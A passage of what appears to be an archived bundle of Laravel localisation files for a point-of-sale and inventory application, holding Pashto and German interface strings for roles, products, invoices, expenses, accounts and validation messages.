ترمنځ توپیر لري. که تاسو ډاډه نه یاست، نو دا د ساده وړتیا پیژندنه کارولو لپاره ښه نظر دی', 'purchase_different_currency' => 'دا اختیار غوره کړئ که تاسو د خپلې سوداګرۍ د اسعار په پرتله په مختلف اسعارو کې خرید کوئ', 'currency_exchange_factor' => "۱ د خریدارۍ اسعار = ? اساسې اسعار <br> <small class='text-muted'>تاسو کولی شئ چې خریداري په نورو اسعارو فعال یا غیر فعال کړئ </small>", 'accounting_method' => 'د محاسبې طریقه', 'transaction_edit_days' => 'د ورځو شمیر د راکړې ورکړې له نیټې څخه تر هغه پورې چې راکړه ورکړې ته سمول ورکړل شي.', 'stock_expiry_alert' => "د هغو سټاک لیست چې تاریخ پای کې دي :days days <br> <small class='text-muted'>تاسو کولای ښئ چې وټاکئ د ورځو شمیر په سوداګري ترتیبونو کې. </small>", 'sub_sku' => 'SKU اختیاري ده. <br><br><small>خالي وساتي چې په اتومات ډول SKU تولید کړي.<small>', 'shipping' => 'د لیږد معلومات او د لیږد مصاریف. د تدارکاتو تفصیلات او لګښتونه اضافه / تازه کولو لپاره لاندې لاندینی سمبول کې کلیک وکړئ.', ]; PK G �Z���� � ps/role.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Role Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Brand CRUD operations. | */ 'add_role' => 'رول اضافه کړئ', 'edit_role' => 'رول سمول', 'user' => 'کارن', 'supplier' => 'عرضه کونکي', 'customer' => 'ګیراک', 'purchase' => 'د خریدارۍ او د سټاک بدلون', 'report' => 'راپور', 'user.view' => 'کارن وګورئ', 'user.create' => 'کارن اضافه کړئ', 'user.update' => 'کارن سمول', 'user.delete' => 'کارن پاک کړئ', 'supplier.view' => 'عرضه کوونکي وګورئ', 'supplier.create' => 'عرضه کوونکي اضافه کړئ', 'supplier.update' => 'عرضه کونکي سمول', 'supplier.delete' => 'عرضه کوونکي پاک کړئ', 'customer.view' => 'ګیراک وګورئ', 'customer.create' => 'ګیراک اضافه کړئ', 'customer.update' => 'ګیراک سمول', 'customer.delete' => 'ګیراک پاک کړئ', 'product.view' => 'محصول وګورئ', 'product.create' => 'محصول اضافه کړئ', 'product.update' => 'محصول سمول', 'product.delete' => 'محصول پاک کړئ', 'purchase.view' => 'د خریدارۍ او د سټاک تعدیلات وګورئ', 'purchase.create' => 'د خریدارۍ او د سټاک بدلول اضافه کړئ', 'purchase.update' => 'د خریدارۍ او د سټاک بدلول سم کړئ', 'purchase.delete' => 'د خریدارۍ او د سټاک بدلول پاک کړئ', 'sell.view' => 'د POS خرڅلاو وګورئ', 'sell.create' => 'د POS خرڅلاو زیات کړئ', 'sell.update' => 'د POS خرڅلاو سم کړئ', 'sell.delete' => 'د POS پلور پاک کړئ', 'purchase_n_sell_report.view' => 'د خریدارۍ او خرڅلاو راپور وګورئ', 'contacts_report.view' => 'د عرضه کوونکي او ګیراک راپور وګورئ', 'stock_report.view' => 'د سټاک راپور، د سټاک بدلون راپور او د سټاک پای ته رسیدنې راپور وګورئ', 'tax_report.view' => 'د مالیې راپور وګورئ', 'trending_product_report.view' => 'د محصول د ځړولو راپور وګورئ', 'register_report.view' => 'د راجستر راپور وګورئ', 'sales_representative.view' => 'د خرڅلاو د استازی راپور وګورئ', 'expense_report.view' => 'د مصاریفو راپور وګورئ', 'business_settings.access' => 'لاسرسي د سوداګریو ترتیبونه', 'barcode_settings.access' => 'لاسرسي د بارکوډ ترتیبونه', 'invoice_settings.access' => 'لاسرسي د رسید ترتیبونه', 'brand.view' => 'برانډ وګورئ', 'brand.create' => 'برانډ اضافه کړئ', 'brand.update' => 'برانډ سمول', 'brand.delete' => 'برانډ پاک کړئ', 'tax_rate.view' => 'د مالیې نرخ وګورئ', 'tax_rate.create' => 'د مالیې نرخ اضافه کړئ', 'tax_rate.update' => 'د مالیې نرخ سمول', 'tax_rate.delete' => 'د مالیې نرخ پاک کړئ', 'unit.view' => 'واحد وګورئ', 'unit.create' => 'واحد اضافه کړئ', 'unit.update' => 'واحد سمول', 'unit.delete' => 'واحد پاک کړئ', 'category.view' => 'کټګوري وګورئ', 'category.create' => 'کټګوري زیاته کړئ', 'category.update' => 'کټګوري سمول', 'category.delete' => 'کټګورۍ پاک کړئ', 'select_all' => 'ټول غوره کړئ', 'settings' => 'ترتیبونه', 'brand' => 'برانډ', 'tax_rate' => 'د مالیې نرخ', 'unit' => 'واحد', 'access_locations' => 'ځایونو ته لاسرسی', 'all_locations' => 'ټول ځایونه', 'dashboard' => 'کور', 'dashboard.data' => 'د کور ډاټا وګورئ', 'profit_loss_report.view' => 'د ګټې / تاوان راپور وګورئ', 'direct_sell.access' => 'خرڅلاو ته لاسرسی', ]; PK G �Z5�1� � ps/product.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Product Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Product related operations. | */ 'exc_of_tax' => 'مالیه خارج کړئ', 'inc_of_tax' => 'مالیه شامله کړئ', 'profit_percent' => 'x حاصل کړئ(%)', 'add_new_product' => 'نوی محصول اضافه کړئ', 'add_product_for_labels' => 'د لیبل تولید لپاره محصولات زیات کړئ', 'product_type' => 'د محصول ډول', 'category' => 'کټګورۍ', 'sub_category' => 'فرعي کټګوري', 'unit' => 'واحد', 'brand' => 'برانډ', 'tax' => 'مالیه', 'sku' => 'د ذخیره کولو نمبر', 'alert_quantity' => 'د مقدار خبرتیا', 'product_name' => 'د محصول نوم', 'auto_generate' => 'اُتومات تولید', 'manage_stock' => 'د سټاک اداره؟', 'enable_stock_help' => 'د محصول په کچه د سټاک اداره فعالول', 'barcode_type' => 'د بارکوډ ډول', 'applicable_tax' => 'د تطبیق وړ مالیه', 'selling_price_tax_type' => 'د خرڅ بیې د مالیې ډول', 'inclusive' => 'شامل دي', 'exclusive' => 'ځانګړې', 'edit_product' => 'د محصول سمول', 'default_purchase_price' => 'همیشه د خرید بیې', 'default_selling_price' => 'همیشه د خرڅ بیې', 'value' => 'ارزښت', 'variation_name' => 'د بدلون نوم', 'variation_values' => 'د بدلون ارزښتونه', 'use_template' => 'کينډۍ کارول', 'variation_values' => 'د بدلون ارزښتونه', 'add_variation' => 'بدلونونه اضافه کړئ', 'product_added_success' => 'محصول په بریالیتوب سره اضافه شو', 'product_updated_success' => 'محصول په بریالیتوب سره تازه شو', 'enable_product_expiry' => 'د محصول د نیټی ختمولو فعالول', 'expiry_period' => 'د پای نیټه', 'expires_in' => 'نیټه پای ته رسیږي په', 'not_applicable' => 'کاروړی نه دی', 'months' => 'میاشتې', 'days' => 'ورځې', 'mfg_date' => 'د تولید نېټه', 'exp_date' => 'د ختم نیټه', 'view_product' => 'محصول وګورئ', 'add_product' => 'محصول اضافه کړئ', 'variations' => 'بدلونونه', 'import_products' => 'محصولات پورته کړئ', 'file_to_import' => 'دوتنه چې پورته کړئ', 'file_imported_successfully' => 'دوتنه په بریالیتوب سره پورته شوه', 'variation_sku_format' => 'د تغیر SKU قالب', 'variation_sku_format_help_text' => 'د تغیر SKU قالب - کله تغیر SKU خالی دی، دا قالب به کارولای شي کولای شي تر SKU د بدلونو لپاره.', 'sku_number' => 'SKU-شمیره (مثال -> ABC-1، ABC-2)', 'sku_variation_number' => 'SKUشمیره (مثال -> ABCS، ABCM)' ]; PK G �Z�� ps/invoice.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Invoice Language Lines |-------------------------------------------------------------------------- | | The following language lines are for invoice screen | */ 'invoice_settings' => 'د رسیدنې ترتیبونه', 'manage_your_invoices' => 'خپل د رسیدونو ترتیبونه اداره کړئ', 'all_your_invoice_schemes' => 'ستاسو د رسیدونو پلانونه', 'added_success' => 'د رسیدنې ترتیب په بریالیتوب سره اضافه شو', 'updated_success' => 'د رسیدنې ترتیب په بریالیتوب سره تازه شو', 'deleted_success' => 'د رسیدنې ترتیب په بریالیتوب سره پاک شو', 'add_invoice' => 'د نوي رسید پلان اضافه کړئ', 'edit_invoice' => 'د رسیدنې پلان سمول', 'name' => 'نوم', 'prefix' => 'مخکې ټاکل', 'start_number' => 'شروع د', 'total_digits' => 'د شمیرو شمیر', 'preview' => 'وړاندې کول', 'not_selected' => 'ندی ټاکل شوی', 'invoice_count' => 'د رسید شمیرې', 'invoice_schemes' => 'د رسید پلانونه', 'invoice_layouts' => 'د رسید بڼې', 'invoice_layout' => 'د رسید بڼه', 'all_your_invoice_layouts' => 'ستاسو ټول د رسید بڼې', 'add_invoice_layout' => 'د رسید نوی بڼه اضافه کړئ', 'layout_name' => 'د بڼې نوم', 'invoice_scheme' => 'د رسید پلان', 'header_text' => 'سرلیک متن', 'invoice_no_prefix' => 'د رسید نمبر لیبل', 'invoice_heading' => 'د رسید سرلیک', 'sub_total_label' => 'فرعي جمع لیبل', 'discount_label' => 'د تخفیف لیبل', 'tax_label' => 'د مالیی لیبل', 'total_label' => 'د جمع لیبل', 'fields_to_be_shown_in_address' => 'هغه ساحې چې د ځای پته کې ښودل کیږي', 'highlight_color' => 'لوړ رنګ', 'footer_text' => 'د لاندی متن', 'layout_added_success' => 'د رسید بڼه په بریالیتوب سره اضافه شول', 'edit_invoice_layout' => 'د رسید د بڼې سمول', 'layout_updated_success' => 'د رسید بڼه په بریالیتوب سره تازه شول', 'used_in_locations' => 'په ځایونو کې کارول کیږي', 'show_business_name' => 'د سوداګرۍ نوم ښودل', 'show_location_name' => 'د ځای نوم ښودل', 'show_mobile_number' => 'ګرځنده شمیره', 'show_alternate_number' => 'بدله شمیره', 'show_email' => 'بریښنالیک', 'show_tax_1' => 'مالیه ۱ معلومات', 'show_tax_2' => 'مالیه ۲ معلومات', 'fields_to_shown_for_communication' => 'د اړیکو جزییاتو لپاره ساحې', 'fields_to_shown_for_tax' => 'د مالیاتو د تفصیل لپاره ساحې', 'invoice_logo' => 'د رسید لوګو', 'show_logo' => 'د رسید لوګو ښکاره کړئ', 'show_barcode' => 'بارکوډ ښکاره کړئ', 'total_due_label' => 'ټول پور لیبل', 'invoice_heading_not_paid' => 'د نه ادا کولو لپاره د سر سرلیک', 'invoice_heading_paid' => 'د ادا کولو لپاره د سر سرلیک', 'show_payments' => 'د پیسو د ورکړې معلومات ښکاره کړئ', 'show_customer' => 'د ګیراک معلومات ښکاره کړئ', 'paid_label' => 'پيسې ورکړل شوې لیبل', 'customer_label' => 'د ګیراک لیبل', ]; PK G �Zj� � de/expense.phpnu �[��� <?php return [ 'expenses' => 'Kosten', 'expense_categories' => 'Spesenkategorien', 'manage_your_expense_categories' => 'Verwalten Sie Ihre Ausgabenkategorien', 'all_your_expense_categories' => 'Alle Ihre Spesenkategorien', 'expense_category' => 'Ausgabenkategorie', 'category_name' => 'Kategoriename', 'category_code' => 'Kategoriecode', 'added_success' => 'Expense-Kategorie erfolgreich hinzugefügt', 'updated_success' => 'Expense-Kategorie erfolgreich aktualisiert', 'deleted_success' => 'Expense-Kategorie erfolgreich gelöscht', 'add_expense_category' => 'Kostenkategorie hinzufügen', 'edit_expense_category' => 'Aufwandskategorie bearbeiten', 'all_expenses' => 'Alle Ausgaben', 'expense_status' => 'Ausgabenstatus', 'add_expense' => 'Kosten hinzufügen', 'edit_expense' => 'Aufwand bearbeiten', 'expense_note' => 'Spesenzettel', 'expense_add_success' => 'Aufwand erfolgreich hinzugefügt', 'expense_update_success' => 'Aufwand erfolgreich aktualisiert', 'expense_delete_success' => 'Aufwand erfolgreich gelöscht', 'expense_for' => 'Aufwand für', ]; PK G �Z���ô � de/messages.phpnu �[��� <?php return [ 'add' => 'Hinzufügen', 'edit' => 'Bearbeiten', 'save' => 'Sparen', 'update' => 'Aktualisieren', 'action' => 'Aktion', 'actions' => 'Aktionen', 'view' => 'Aussicht', 'delete' => 'Löschen', 'close' => 'Schließen', 'something_went_wrong' => 'Etwas ist schief gelaufen, bitte versuchen Sie es später erneut', 'required' => 'Dieses Feld wird benötigt', 'please_select' => 'Bitte auswählen', 'cancel' => 'Stornieren', 'date' => 'Datum', 'filter_by_date' => 'Nach Datum filtern', 'location' => 'Ort', 'go_back' => 'Geh zurück', 'due_tooltip' => '-ve value = Zu zahlender Betrag <br> + ve value = Zu erhaltender Betrag', 'purchase_due_tooltip' => '-ve value = Zu erhaltender Betrag <br> + ve value = Zu zahlender Betrag', 'yes' => 'Ja', 'no' => 'Nein', 'all' => 'Alle', 'settings' => 'Die Einstellungen', 'business_location_settings' => 'Geschäftsstandorteinstellungen', 'print' => 'Drucken', 'submit' => 'Einreichen', 'purchase_sell_mismatch_exception' => 'FEHLER: NICHT ZULÄSSIG: Unstimmigkeit zwischen Kauf- und Verkaufsmenge. Produkt: :product', 'purchase_stock_adjustment_mismatch_exception' => 'FEHLER: NICHT ZULÄSSIG: Abweichung zwischen Bestandsanpassung und Bestellmenge. Produkt: :product', 'transaction_edit_not_allowed' => 'Transaktion bearbeiten nicht erlaubt :days Tage Tage.', ]; PK G �Zjo?Y Y de/stock_adjustment.phpnu �[��� <?php return [ 'stock_adjustment' => 'Bestandskorrektur', 'stock_adjustments' => 'Bestandsanpassungen', 'list' => 'Bestandsanpassungen auflisten', 'add' => 'Bestandsanpassung hinzufügen', 'all_stock_adjustments' => 'Alle Bestandsanpassungen', 'search_product' => 'Produkte zur Bestandsanpassung suchen', 'adjustment_type' => 'Anpassungsart', 'normal' => 'Normal', 'abnormal' => 'Abnormal', 'total_amount' => 'Gesamtmenge', 'total_amount_recovered' => 'Gesamtmenge wiedergewonnen', 'reason_for_stock_adjustment' => 'Grund', 'stock_adjustment_added_successfully' => 'Bestandsanpassung erfolgreich hinzugefügt', 'search_products' => 'Produktsuche', 'delete_success' => 'Bestandsanpassung erfolgreich gelöscht', 'view_details' => 'Details zur Bestandsanpassung anzeigen', ]; PK G �Z�cz& & de/home.phpnu �[��� <?php return [ 'home' => 'Zuhause', 'welcome_message' => 'Willkommen :name,', 'total_sell' => 'Gesamtumsatz', 'total_purchase' => 'Gesamtkauf', 'invoice_due' => 'Fällige Rechnung', 'purchase_due' => 'Kauf fällig', 'today' => 'Heute', 'this_week' => 'Diese Woche', 'this_month' => 'Diesen Monat', 'this_fy' => 'Dieses Geschäftsjahr', 'sells_last_30_days' => 'Verkäufe letzten 30 Tage', 'sells_current_fy' => 'Umsatz aktuelles Geschäftsjahr', 'total_sells' => 'Gesamtumsatz (: currency)', 'product_stock_alert' => 'Produktlagerwarnung', 'payment_dues' => 'Zahlungsgebühren', 'due_amount' => 'Fälliger Betrag', 'stock_expiry_alert' => 'Verfall der Lagerbestände', 'todays_profit' => 'Der heutige Profit', ]; PK G �Za"n�� � de/receipt.phpnu �[��� <?php return [ 'product' => 'Produkt', 'qty' => 'Menge', 'unit_price' => 'Einzelpreis', 'subtotal' => 'Zwischensumme', 'discount' => 'Rabatt', 'tax' => 'MwSt', 'total' => 'Gesamt', 'invoice_number' => 'Rechnungsnummer', 'date' => 'Datum', 'receipt_settings' => 'Empfangseinstellungen', 'receipt_settings_mgs' => 'Alle empfangsbezogenen Einstellungen für diesen Standort', 'print_receipt_on_invoice' => 'Rechnung nach Abschluss automatisch drucken', 'receipt_printer_type' => 'Belegdruckertyp', 'receipt_settings_updated' => 'Boneinstellung erfolgreich aktualisiert', ]; PK G �Zt�m�� � de/tax_rate.phpnu �[��� <?php return [ 'tax_rates' => 'Steuersätze', 'manage_your_tax_rates' => 'Verwalten Sie Ihre Steuersätze', 'all_your_tax_rates' => 'Alle Ihre Steuersätze', 'name' => 'Name', 'rate' => 'Steuersatz %', 'added_success' => 'Steuersatz erfolgreich hinzugefügt', 'updated_success' => 'Steuersatz erfolgreich aktualisiert', 'deleted_success' => 'Steuersatz erfolgreich gelöscht', 'add_tax_rate' => 'Steuersatz hinzufügen', 'edit_taxt_rate' => 'Steuersatz bearbeiten', 'add_tax_group' => 'Steuergruppe hinzufügen', 'tax_group_added_success' => 'Steuergruppe erfolgreich hinzugefügt', 'tax_group_updated_success' => 'Steuergruppe erfolgreich aktualisiert', 'tax_groups' => 'Steuergruppen', 'edit_tax_group' => 'Steuergruppe bearbeiten', 'sub_taxes' => 'Untersteuern', 'can_not_be_deleted' => 'Dieser Steuersatz gehört zu einigen Steuergruppen', ]; PK G �Z7 V� � de/category.phpnu �[��� <?php return [ 'categories' => 'Kategorien', 'manage_your_categories' => 'Verwalten Sie Ihre Kategorien', 'all_your_categories' => 'Alle deine Kategorien', 'category' => 'Kategorie', 'category_name' => 'Kategoriename', 'code' => 'Kategoriecode', 'add_as_sub_category' => 'Als Unterkategorie hinzufügen', 'select_parent_category' => 'Wählen Sie die übergeordnete Kategorie', 'added_success' => 'Kategorie erfolgreich hinzugefügt', 'updated_success' => 'Kategorie erfolgreich aktualisiert', 'deleted_success' => 'Kategorie erfolgreich gelöscht', 'add_category' => 'Kategorie hinzufügen', 'edit_category' => 'Kategorie bearbeiten', ]; PK G �ZV�^� de/brand.phpnu �[��� <?php return [ 'brands' => 'Marken', 'manage_your_brands' => 'Verwalten Sie Ihre Marken', 'all_your_brands' => 'Alle deine Marken', 'note' => 'Hinweis', 'brand_name' => 'Markenname', 'short_description' => 'Kurze Beschreibung', 'added_success' => 'Marke hinzugefügt erfolgreich', 'updated_success' => 'Marke wurde erfolgreich aktualisiert', 'deleted_success' => 'Marke erfolgreich gelöscht', 'add_brand' => 'Marke hinzufügen', 'edit_brand' => 'Marke bearbeiten', ]; PK G �Z}x� � � de/auth.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Authentication Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during authentication for various | messages that we need to display to the user. You are free to modify | these language lines according to your application's requirements. | */ 'failed' => 'Diese Kombination aus Zugangsdaten wurden nicht in unserer Datenbank gefunden.', 'throttle' => 'Zu viele Loginversuche. Versuchen Sie es bitte in :seconds Sekunden nochmal.', ]; PK G �ZD���� � de/validation.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Validation Language Lines |-------------------------------------------------------------------------- | | The following language lines contain the default error messages used by | the validator class. Some of these rules have multiple versions such | as the size rules. Feel free to tweak each of these messages. | */ 'accepted' => ':attribute muss akzeptiert werden.', 'active_url' => ':attribute ist keine gültige Internet-Adresse.', 'after' => ':attribute muss ein Datum nach dem :date sein.', 'after_or_equal' => ':attribute muss ein Datum nach dem :date oder gleich dem :date sein.', 'alpha' => ':attribute darf nur aus Buchstaben bestehen.', 'alpha_dash' => ':attribute darf nur aus Buchstaben, Zahlen, Binde- und Unterstrichen bestehen.', 'alpha_num' => ':attribute darf nur aus Buchstaben und Zahlen bestehen.', 'array' => ':attribute muss ein Array sein.', 'before' => ':attribute muss ein Datum vor dem :date sein.', 'before_or_equal' => ':attribute muss ein Datum vor dem :date oder gleich dem :date sein.', 'between' => [ 'numeric' => ':attribute muss zwischen :min & :max liegen.', 'file' => ':attribute muss zwischen :min & :max Kilobytes groß sein.', 'string' => ':attribute muss zwischen :min & :max Zeichen lang sein.', 'array' => ':attribute muss zwischen :min & :max Elemente haben.', ], 'boolean' => ":attribute muss entweder 'true' oder 'false' sein.", 'confirmed' => ':attribute stimmt nicht mit der Bestätigung überein.', 'date' => ':attribute muss ein gültiges Datum sein.', 'date_format' => ':attribute entspricht nicht dem gültigen Format für :format.', 'different' => ':attribute und :other müssen sich unterscheiden.', 'digits' => ':attribute muss :digits Stellen haben.', 'digits_between' => ':attribute muss zwischen :min und :max Stellen haben.', 'dimensions' => ':attribute hat ungültige Bildabmessungen.', 'distinct' => 'Das Feld :attribute beinhaltet einen bereits vorhandenen Wert.', 'email' => ':attribute muss eine gültige E-Mail-Adresse sein.', 'exists' => 'Der gewählte Wert für :attribute ist ungültig.', 'file' => ':attribute muss eine Datei sein.', 'filled' => ':attribute muss ausgefüllt sein.', 'image' => ':attribute muss ein Bild sein.', 'in' => 'Der gewählte Wert für :attribute ist ungültig.', 'in_array' => 'Der gewählte Wert für :attribute kommt nicht in :other vor.', 'integer' => ':attribute muss eine ganze Zahl sein.', 'ip' => ':attribute muss eine gültige IP-Adresse sein.', 'ipv4' => ':attribute muss eine gültige IPv4-Adresse sein.', 'ipv6' => ':attribute muss eine gültige IPv6-Adresse sein.', 'json' => ':attribute muss ein gültiger JSON-String sein.', 'max' => [ 'numeric' => ':attribute darf maximal :max sein.', 'file' => ':attribute darf maximal :max Kilobytes groß sein.', 'string' => ':attribute darf maximal :max Zeichen haben.', 'array' => ':attribute darf nicht mehr als :max Elemente haben.', ], 'mimes' => ':attribute muss den Dateityp :values haben.', 'mimetypes' => ':attribute muss den Dateityp :values haben.', 'min' => [ 'numeric' => ':attribute muss mindestens :min sein.', 'file' => ':attribute muss mindestens :min Kilobytes groß sein.', 'string' => ':attribute muss mindestens :min Zeichen lang sein.', 'array' => ':attribute muss mindestens :min Elemente haben.', ], 'not_in' => 'Der gewählte Wert für :attribute ist ungültig.', 'numeric' => ':attribute muss eine Zahl sein.', 'present' => 'Das Feld :attribute muss vorhanden sein.', 'regex' => ':attribute Format ist ungültig.', 'required' => ':attribute muss ausgefüllt sein.', 'required_if' => ':attribute muss ausgefüllt sein, wenn :other :value ist.', 'required_unless' => ':attribute muss ausgefüllt sein, wenn :other nicht :values ist.', 'required_with' => ':attribute muss angegeben werden, wenn :values ausgefüllt wurde.', 'required_with_all' => ':attribute muss angegeben werden, wenn :values ausgefüllt wurde.', 'required_without' => ':attribute muss angegeben werden, wenn :values nicht ausgefüllt wurde.', 'required_without_all' => ':attribute muss angegeben werden, wenn keines der Felder :values ausgefüllt wurde.', 'same' => ':attribute und :other müssen übereinstimmen.', 'size' => [ 'numeric' => ':attribute muss gleich :size sein.', 'file' => ':attribute muss :size Kilobyte groß sein.', 'string' => ':attribute muss :size Zeichen lang sein.', 'array' => ':attribute muss genau :size Elemente haben.', ], 'string' => ':attribute muss ein String sein.', 'timezone' => ':attribute muss eine gültige Zeitzone sein.', 'unique' => ':attribute ist schon vergeben.', 'uploaded' => 'Der :attribute konnte nicht hochgeladen werden.', 'url' => 'Das Format von :attribute ist ungültig.', /* |-------------------------------------------------------------------------- | Custom Validation Language Lines |-------------------------------------------------------------------------- | | Here you may specify custom validation messages for attributes using the | convention "attribute.rule" to name the lines. This makes it quick to | specify a specific custom language line for a given attribute rule. | */ 'custom' => [ 'attribute-name' => [ 'rule-name' => 'custom-message', ], ], /* |-------------------------------------------------------------------------- | Custom Validation Attributes |-------------------------------------------------------------------------- | | The following language lines are used to swap attribute place-holders | with something more reader friendly such as E-Mail Address instead | of "email". This simply helps us make messages a little cleaner. | */ 'attributes' => [ 'name' => 'Name', 'username' => 'Benutzername', 'email' => 'E-Mail-Adresse', 'first_name' => 'Vorname', 'last_name' => 'Nachname', 'password' => 'Passwort', 'password_confirmation' => 'Passwordbestätigung', 'city' => 'Stadt', 'country' => 'Land', 'address' => 'Adresse', 'phone' => 'Telefonnummer', 'mobile' => 'Handynummer', 'age' => 'Alter', 'sex' => 'Geschlecht', 'gender' => 'Geschlecht', 'day' => 'Tag', 'month' => 'Monat', 'year' => 'Jahr', 'hour' => 'Stunde', 'minute' => 'Minute', 'second' => 'Sekunde', 'title' => 'Titel', 'content' => 'Inhalt', 'description' => 'Beschreibung', 'excerpt' => 'Auszug', 'date' => 'Datum', 'time' => 'Uhrzeit', 'available' => 'verfügbar', 'size' => 'Größe', ], 'custom-messages' => [ 'quantity_not_available' => 'Nur :qty :unit verfügbar', 'this_field_is_required' => 'Dieses Feld wird benötigt', ], ]; PK G �Zۏ�� � de/account.phpnu �[��� <?php return [ 'account' => 'Konto', 'manage_your_account' => 'Verwalte Dein Konto', 'all_accounts' => 'Alle Konten', 'account_number' => 'Kontonummer', 'add_account' => 'Konto hinzufügen', 'account_created_success' => 'Konto erfolgreich erstellt', 'account_updated_success' => 'Konto erfolgreich aktualisiert', 'edit_account' => 'Konto bearbeiten', 'account_closed_success' => 'Konto erfolgreich geschlossen', 'closed' => 'Geschlossen', 'list_accounts' => 'Konten auflisten', 'opening_balance' => 'Anfangsbestand', 'account_book' => 'Geschäftsbuch', 'credit' => 'Kredit', 'debit' => 'Lastschrift', 'account_name' => 'Kontobezeichnung', 'transaction_type' => 'Art der Transaktion', 'fund_transfer' => 'Überweisung', 'selected_account' => 'Ausgewähltes Konto', 'transfer_to' => 'Übertragen nach', 'fund_transfered_success' => 'Fonds erfolgreich transferiert', 'deposit' => 'Anzahlung', 'deposited_successfully' => 'Betrag erfolgreich hinterlegt', 'from' => 'Von', 'to' => 'Zu', 'balance_sheet' => 'Bilanz', 'liability' => 'Haftung', 'assets' => 'Vermögenswerte', 'supplier_due' => 'Lieferant fällig', 'customer_due' => 'Kunde fällig', 'account_balances' => 'Kontostände', 'total_assets' => 'Gesamtvermögen', 'total_liability' => 'Gesamthaftung', 'trial_balance' => 'Test Balance', 'payments_not_linked_with_account' => 'Summe <b>:payments </b>, die keinem Konto zugeordnet sind.', 'saving_current' => 'Speichern / Aktuell', 'capital' => 'Hauptstadt', 'not_applicable' => 'Unzutreffend', 'account_type' => 'Konto Typ', 'accounts' => 'Konten', 'capital_accounts' => 'Kapitalkonten', 'deposit_from' => 'Einzahlung von', 'no_capital_account_created' => 'Es ist kein aktives Kapitalkonto vorhanden.', 'payment_account_report' => 'Zahlungskontobericht', 'invoice_ref_no' => 'Rechnungsnr. / Nr.', 'payment_ref_no' => 'Zahlungsreferenz-Nr.', 'payment_for' => 'Zahlung für', 'link_account' => 'Konto verbinden', 'account_linked_success' => 'Konto erfolgreich verknüpft', 'view_details' => 'Details anzeigen', ]; PK G �Z�m� de/pagination.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Pagination Language Lines |-------------------------------------------------------------------------- | | The following language lines are used by the paginator library to build | the simple pagination links. You are free to change them to anything | you want to customize your views to better match your application. | */ 'previous' => '« Zurück', 'next' => 'Weiter »', ]; PK G �Z��0� � de/contact.phpnu �[��� <?php return [ 'contacts' => 'Kontakte', 'name' => 'Name', 'contact' => 'Kontakt', 'manage_your_contact' => 'Verwalten Sie Ihre :contacts', 'all_your_contact' => 'Alle Ihre :contacts', 'add_contact' => 'Einen neuen Kontakt hinzufügen', 'contact_type' => 'Kontaktart', 'tax_no' => 'Steuernummer', 'pay_term' => 'Zahlungsbedingung', 'pay_term_period' => 'Laufzeitperiode', 'mobile' => 'Handy, Mobiltelefon', 'landline' => 'Festnetz', 'alternate_contact_number' => 'Alternative Kontaktnummer', 'edit_contact' => 'Kontakt bearbeiten', 'added_success' => 'Kontakt wurde erfolgreich hinzugefügt', 'updated_success' => 'Kontakt erfolgreich aktualisiert', 'deleted_success' => 'Kontakt wurde erfolgreich gelöscht', 'add_new_customer' => 'Neuen Kunden hinzufügen', 'view_contact' => 'Sichtkontakt', 'contact_info' => ':contact information', 'all_purchases_linked_to_this_contact' => 'Alle Käufe im Zusammenhang mit diesem Kontakt', 'all_sells_linked_to_this_contact' => 'Alle Verkäufe beziehen sich auf diesen Kontakt', 'total_purchase_due' => 'Gesamtkauf fällig', 'pay_due_amount' => 'Fälliger Betrag', 'total_paid' => 'Ganz bezahlt', 'total_purchase_paid' => 'Gesamtkaufzahlung', 'total_sale_paid' => 'Gesamtverkaufszahlung', 'total_sale_due' => 'Gesamtverkauf fällig', 'customer' => 'Kunde', ]; PK G �Z��*�2 2 de/sale.phpnu �[��� <?php return [ 'sale' => 'Verkaufen', 'sells' => 'Der Umsatz', 'list_sale' => 'Liste Verkäufe', 'add_sale' => 'Verkauf hinzufügen', 'pos_sale' => 'POS', 'draft_added' => 'Entwurf erfolgreich hinzugefügt', 'invoice_added' => 'Rechnung erfolgreich hinzugefügt', 'item' => 'Artikel', 'total' => 'Gesamt', 'order_tax' => 'Auftragssteuer', 'discount' => 'Rabatt', 'total_payable' => 'Total bezahlbar', 'cancel' => 'Stornieren', 'draft' => 'Entwurf', 'finalize' => 'Bezahlen & Kasse', 'express_finalize' => 'Express <br/> Kasse', 'product' => 'Produkt', 'products' => 'Produkte', 'unit_price' => 'Einzelpreis', 'qty' => 'Menge', 'subtotal' => 'Zwischensumme', 'recent_transactions' => 'Ihre letzten Transaktionen', 'pos_sale_added' => 'Verkauf erfolgreich hinzugefügt', 'price_inc_tax' => 'Preis inkl. Steuer', 'tax' => 'MwSt', 'edit_discount' => 'Rabatt bearbeiten', 'edit_order_tax' => 'Bestellsteuer bearbeiten', 'discount_type' => 'Rabattart', 'discount_amount' => 'Rabattbetrag', 'no_recent_transactions' => 'Keine letzten Transaktionen', 'final' => 'Finale', 'invoice_no' => 'Rechnungsnummer', 'customer_name' => 'Kundenname', 'payment_status' => 'Zahlungsstatus', 'status' => 'Status', 'total_amount' => 'Gesamtmenge', 'total_paid' => 'Ganz bezahlt', 'total_remaining' => 'Insgesamt verbleibend', 'payment_info' => 'Zahlungsinformationen', 'drafts' => 'Entwürfe', 'all_drafts' => 'Alle Entwürfe', 'sell_details' => 'Verkaufsdetails', 'payments' => 'Zahlungen', 'amount' => 'Menge', 'payment_mode' => 'Zahlungsart', 'payment_note' => 'Zahlungsnote', 'sell_note' => 'Verkaufsnote', 'staff_note' => 'Personalausweis', 'draft_updated' => 'Entwurf erfolgreich aktualisiert', 'pos_sale_updated' => 'Verkauf erfolgreich aktualisiert', 'location' => 'Ort', 'add_payment_row' => 'Zahlungszeile hinzufügen', 'finalize_payment' => 'Zahlung abschließen', 'sale_date' => 'Verkaufsdatum', 'list_pos' => 'Liste POS', 'edit_sale' => 'Verkauf bearbeiten', 'shipping' => 'Versand', 'shipping_details' => 'Versanddetails', 'shipping_charges' => 'Versandkosten', ]; PK G �Z���D D de/report.phpnu �[��� <?php return [ 'reports' => 'Berichte', 'purchase_sell_report' => 'Kauf & Verkauf', 'purchase_sell' => 'Kauf- und Verkaufsbericht', 'purchase_sell_msg' => 'Kauf- und 